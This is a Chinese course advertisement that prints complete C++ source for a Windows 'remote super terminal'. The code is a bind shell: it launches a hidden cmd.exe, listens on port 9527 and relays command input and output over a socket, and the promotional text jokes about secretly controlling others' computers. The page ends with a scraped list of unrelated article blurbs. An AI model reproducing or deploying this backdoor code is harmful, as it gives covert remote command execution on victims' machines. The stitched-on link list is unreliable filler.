昨天(2015.06.26)C/C++《远程超级终端,你的电脑我做主》课程视频: http://pan.baidu.com/s/1c0DBA4w

提取码:9ql2
由择善人见人爱 花见花开的Mark老师,为您讲解用C/C++编写远程超级终端,你的电脑我做主,其中涉含的主要知识点是管道数据交互、创建进程,Mark老师将会一步一步,手把手的带着我们去学习C/C++如何编写出远程超级终端,还不快快下载学习。

以下是《远程超级终端,你的电脑我做主》视频内所有代码:

#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
#include <windows.h>
#include <process.h>

struct ThreadNode {
        SOCKET socket_ = INVALID_SOCKET;
        HANDLE pipe_handle_ = nullptr;
};

bool exit_b = false;
unsigned int _stdcall ThreadOutPutProc(void *param) {
        ThreadNode node = *((ThreadNode*)param);
        DWORD total_avail_dword = 0, read_len_dword = 0;
        BOOL ret_bool = FALSE;
        char buffer_c[MAXBYTE] = { 0 };
        while (!exit_b) {
                total_avail_dword = 0;
                ret_bool = PeekNamedPipe(node.pipe_handle_, nullptr, 0, nullptr, &total_avail_dword, nullptr);
                if (ret_bool && total_avail_dword >0) {
                        //读取管道当中的数据
                        ret_bool = ReadFile(node.pipe_handle_, buffer_c, MAXBYTE, &read_len_dword, nullptr);
                        if (ret_bool && read_len_dword>0) {
                                send(node.socket_, buffer_c, read_len_dword, 0);
                        }
                        ZeroMemory(buffer_c, MAXBYTE);
                        Sleep(10);
                }
        }
        return 0;
}

unsigned int _stdcall ThreadInPutProc(void *param) {
        ThreadNode node = *((ThreadNode*)param);
        char buffer_c[MAXBYTE] = { 0 };
        DWORD recv_len_dword = 0,write_len_dword = 0;
        while (true) {

recv_len_dword = recv(node.socket_, buffer_c, MAXBYTE, 0);
                if (recv_len_dword > 0 && recv_len_dword != SOCKET_ERROR) {
                        WriteFile(node.pipe_handle_, buffer_c, recv_len_dword, &write_len_dword, nullptr);
                }
                else {
                        closesocket(node.socket_);
                        WriteFile(node.pipe_handle_, "exit\r\n", strlen("exit\r\n"), &write_len_dword, nullptr);
                        exit_b = true;
                        break;
                }
                ZeroMemory(buffer_c, MAXBYTE);

}
        return 0;
}

bool SocketInit() {
        WSADATA wsadata = { 0 };
        if (WSAStartup(MAKEWORD(2, 2), &wsadata) == 0) {
                return true;
        }
        return false;
}

bool StartShell(unsigned int  port_t) {

if (SocketInit()) {

SOCKET listen_socket = socket(AF_INET,
                        SOCK_STREAM,
                        IPPROTO_TCP);

if (listen_socket == INVALID_SOCKET) {
                        return 1;
                }

SOCKADDR_IN server_addr = { 0 };
                server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
                server_addr.sin_family = AF_INET;
                server_addr.sin_port = htons(9527);

if (bind(listen_socket, (sockaddr *)&server_addr, sizeof(server_addr)) == SOCKET_ERROR) {
                        return false;
                }
                if (listen(listen_socket, 10) == SOCKET_ERROR) {
                        return false;
                }
                //accept(监听好的套接字,连接到来的IP,结构的长度)
                SOCKET accept_socket = accept(listen_socket, nullptr, nullptr);

//课程源码及包含的类库会在每天下午发布在官方论坛: http://www.doedu.com.cn/t

//更多视频下载: http://www.doedu.com.cn/t/forum.php?mod=viewthread&tid=20&extra=page%3D1
                //创建一个cmd的进程 system()这个函数
                // 传递输入输出设备 管道进行通信
                //input
                HANDLE read_pipe_one_handle = nullptr, write_pipe_one_handle = nullptr;
                //output
                HANDLE read_pipe_two_handle = nullptr, write_pipe_two_handle = nullptr;

SECURITY_ATTRIBUTES sa = { 0 };
                sa.nLength = sizeof(SECURITY_ATTRIBUTES);
                sa.lpSecurityDescriptor = nullptr;
                sa.bInheritHandle = true;
                if (!CreatePipe(&read_pipe_one_handle, &write_pipe_one_handle, &sa, 0))
                        return false;
                if (!CreatePipe(&read_pipe_two_handle, &write_pipe_two_handle, &sa, 0))
                        return false;

PROCESS_INFORMATION pi;
                ZeroMemory(&pi, sizeof(pi));
                STARTUPINFO si;

si.cb = sizeof(si);

GetStartupInfo(&si);
                //ZeroMemory(&si, sizeof(si));

si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
                si.hStdInput = read_pipe_one_handle;
                si.hStdError = si.hStdOutput = write_pipe_two_handle;
                si.wShowWindow = SW_HIDE;

if(!CreateProcessW(
                        L"C:\\WINDOWS\\system32\\cmd.exe",
                        nullptr,
                        nullptr,
                        nullptr,
                        true,
                        NULL,
                        nullptr,
                        nullptr,
                        &si,
                        &pi)) {
                        return false;
                }

ThreadNode read_node, write_node;
                read_node.socket_ = accept_socket;
                read_node.pipe_handle_ = read_pipe_two_handle;
                write_node.socket_ = accept_socket;
                write_node.pipe_handle_ = write_pipe_one_handle;
                HANDLE outpur_handle =  (HANDLE)_beginthreadex(nullptr, 0, ThreadOutPutProc, &read_node, 0, nullptr);

HANDLE input_handle = (HANDLE)_beginthreadex(nullptr, 0, ThreadInPutProc, &write_node, 0, nullptr);

HANDLE handles[] = { outpur_handle, input_handle };
                //卡死  阻塞住
                WaitForMultipleObjects(2, handles, true, INFINITE);
        }

}

int APIENTRY wWinMain(        HINSTANCE hInstance,        HINSTANCE hPreInstance,        LPTSTR lpCmdLine,
        int nCmdShow) {

StartShell(9527);

return 0;
}
-------------------------------------------------------------------------------------------------------------------------------------

课题视频:远程超级终端,你的电脑我做主
视频知识:管道数据交互
               创建进程
主讲:择善人见人爱 花见花开的Mark老师
学习交流群:386620625
验证码:527
由择善人见人爱 花见花开的Mark老师手把手带你做远程超级终端,你的电脑我做主,什么秘密都藏不住!哈哈,要是你还不来学习,小心老师控制你的电脑噢。快准备进教室吧,每日在线课程报名地址: http://ke.qq.com/cgi-bin/courseDetail?course_id=57885

远程超级终端,你的电脑我做主的C++源码及视频相关推荐

  1. 华为如何显示我的电脑连接到服务器,华为超级终端怎么连接电脑、电视、手表?鸿蒙超级终端关了怎么打开?...

    相信不少的小伙伴都是因为华为鸿蒙系统的万物互联的超级终端所吸引的吧,万物互联的场景还是很期待,目前包括手机.电视.手表.车机.智能家居等众多设备,不过很多小伙伴还不清楚怎么去链接这个超级终端,下面一起 ...

  2. 红色风格电脑手机数码商城系统网站源码

    简介: Thinkphp内核红色风格电脑手机数码商城系统网站源码 本项目是仿华为商城;主要实现了商品首页展示;用户意见;商品分类列表;商品搜索;商品详细展示;购物车;订单生成;在线付款;以及个人中心完 ...

  3. 基于JAVA框架的电脑测评系统计算机毕业设计源码+系统+mysql数据库+lw文档+部署

    基于JAVA框架的电脑测评系统计算机毕业设计源码+系统+mysql数据库+lw文档+部署 基于JAVA框架的电脑测评系统计算机毕业设计源码+系统+mysql数据库+lw文档+部署 本源码技术栈: 项目 ...

  4. 2023最新红色风格电脑手机数码商城系统网站源码+仿华为商城UI开发

    正文: thinkphp内核红色风格电脑手机数码商城系统网站源码 测试环境 apahce:2.22 php:5.4.3 mysql:5.5.24 有兴趣的自行去安装体验吧,其它就没什么好介绍的了. 程 ...

  5. java毕业设计电脑城销售系统mybatis+源码+调试部署+系统+数据库+lw

    java毕业设计电脑城销售系统mybatis+源码+调试部署+系统+数据库+lw java毕业设计电脑城销售系统mybatis+源码+调试部署+系统+数据库+lw 本源码技术栈: 项目架构:B/S架构 ...

  6. 终端证书文件批量导入数据库的Python源码

    用于将终端证书文件批量导入进数据库 [注意]Python2和Python3,在数的进制转换上,不太一样 Python 2 content_str += binascii.hexlify(b) Pyth ...

  7. 搭搭云-超级应用平台 与JNPF Java多用户商城系统源码

    搭搭云 搭搭云是非常灵活的一站式企业管理超级平台,企业在一个云端账户中即可使用包含CRM.OA.进销存.HR.财务.项目管理.ERP在内的全系列SaaS软件:应用软件开发者可以基于搭搭云低代码PaaS ...

  8. 搭搭云-超级应用平台 与JNPF Java多用户商城系统源码 最新版3.4.7源码折扣

    搭搭云 搭搭云是非常灵活的一站式企业管理超级平台,企业在一个云端账户中即可使用包含CRM.OA.进销存.HR.财务.项目管理.ERP在内的全系列SaaS软件:应用软件开发者可以基于搭搭云低代码PaaS ...

  9. 基于Python机器视觉的远程害虫种类识别和数量检测系统 报告+项目源码及数据

    摘 要 农业与民生和经济发展息息相关,对农业发展科学化的关注既是民生需求, 也是经济稳步发展的迫切需求.病虫害是影响农作物生长的重要因素,对农作物的产量和品质都能造成无法估计的损害. 针对目前广大农业 ...

最新文章

  1. jbutton可以设置id吗_Java JButton.setHorizontalTextPosition方法代碼示例
  2. 【译】在Android中保护数据-加密大数据
  3. 再见,Springboot和SpringCloud
  4. Vxworks增加system call
  5. 获取周一_周一个股精选:光伏概念、央企改革:太阳能(000591)
  6. 单片机12864c语言,51单片机+带字库液晶12864+DS1302数字时钟C源程序
  7. 遗传算法原理及其在车辆路径规划中的应用
  8. 27岁没文凭自学编程成为程序员难不难
  9. acer switch 10 linux,【AcerSwitch10E评测】拆开来用的电脑 Acer Switch 10E评测(全文)_Acer Switch 10E_笔记本评测-中关村在线...
  10. ngnix 端口映射
  11. 【黑马旅游网】项目完结+未完成功能实现+个人总结+bug记录
  12. 大前端CPU优化技术--NEON编程优化技巧
  13. 【硬件深似海】磁珠选型规范
  14. VUE实现页面局部刷新
  15. python中pip的使用 安装 升级 卸载包
  16. Docker Secret加密
  17. python中算术位移运算
  18. python在线 培训
  19. 微信 mac 版 3.* beta 可以查看朋友圈了
  20. VM修改BIOS安装OEM系统

热门文章

  1. Backtrader官方中文文档:第十七章Datetime时间模块
  2. iPad可以用来学计算机二级吗,哪个软件可以做计算机二级office题
  3. 问题对语义相似度计算-参赛总结
  4. 二进制与八进制十进制十六进制之间的转换
  5. Python高级函数Counter、defaultdict、map、reduce、filter使用
  6. c语言中dfs算法不定起点问题,dfs算法(dfs算法例子)
  7. 氧化铝松装密度测定仪标准
  8. 关于win10系统(客户机)无法添加网络共享打印机的解决办法(提示信息:操作失败,错误为0X0000011B)
  9. 书论36 韩方明《授笔要说》
  10. mysql myisam 全文检索,mysql索引区别innodb和MyISAM